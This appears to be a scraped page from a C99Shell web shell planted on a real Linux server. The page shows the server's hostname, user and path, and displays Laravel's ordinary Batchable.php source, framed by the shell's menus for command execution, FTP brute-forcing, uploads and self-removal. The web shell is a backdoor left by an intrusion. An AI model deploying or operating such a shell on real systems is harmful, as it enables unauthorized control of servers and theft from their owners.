!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Bus/   drwxr-xr-x
Free 28.61 GB of 117.98 GB (24.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Batchable.php (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Bus;

use 
Carbon\CarbonImmutable;
use 
Illuminate\Container\Container;
use 
Illuminate\Support\Str;
use 
Illuminate\Support\Testing\Fakes\BatchFake;

trait 
Batchable
{
    
/**
     * The batch ID (if applicable).
     *
     * @var string
     */
    
public $batchId;

    
/**
     * The fake batch, if applicable.
     *
     * @var \Illuminate\Support\Testing\Fakes\BatchFake
     */
    
private $fakeBatch;

    
/**
     * Get the batch instance for the job, if applicable.
     *
     * @return \Illuminate\Bus\Batch|null
     */
    
public function batch()
    {
        if (
$this->fakeBatch) {
            return 
$this->fakeBatch;
        }

        if (
$this->batchId) {
            return 
Container::getInstance()->make(BatchRepository::class)?->find($this->batchId);
        }
    }

    
/**
     * Determine if the batch is still active and processing.
     *
     * @return bool
     */
    
public function batching()
    {
        
$batch $this->batch();

        return 
$batch && ! $batch->cancelled();
    }

    
/**
     * Set the batch ID on the job.
     *
     * @param  string  $batchId
     * @return $this
     */
    
public function withBatchId(string $batchId)
    {
        
$this->batchId $batchId;

        return 
$this;
    }

    
/**
     * Indicate that the job should use a fake batch.
     *
     * @param  string  $id
     * @param  string  $name
     * @param  int  $totalJobs
     * @param  int  $pendingJobs
     * @param  int  $failedJobs
     * @param  array  $failedJobIds
     * @param  array  $options
     * @param  \Carbon\CarbonImmutable|null  $createdAt
     * @param  \Carbon\CarbonImmutable|null  $cancelledAt
     * @param  \Carbon\CarbonImmutable|null  $finishedAt
     * @return array{0: $this, 1: \Illuminate\Support\Testing\Fakes\BatchFake}
     */
    
public function withFakeBatch(string $id '',
                                  
string $name '',
                                  
int $totalJobs 0,
                                  
int $pendingJobs 0,
                                  
int $failedJobs 0,
                                  array 
$failedJobIds = [],
                                  array 
$options = [],
                                  ?
CarbonImmutable $createdAt null,
                                  ?
CarbonImmutable $cancelledAt null,
                                  ?
CarbonImmutable $finishedAt null)
    {
        
$this->fakeBatch = new BatchFake(
            empty(
$id) ? (string) Str::uuid() : $id,
            
$name,
            
$totalJobs,
            
$pendingJobs,
            
$failedJobs,
            
$failedJobIds,
            
$options,
            
$createdAt ?? CarbonImmutable::now(),
            
$cancelledAt,
            
$finishedAt,
        );

        return [
$this$this->fakeBatch];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--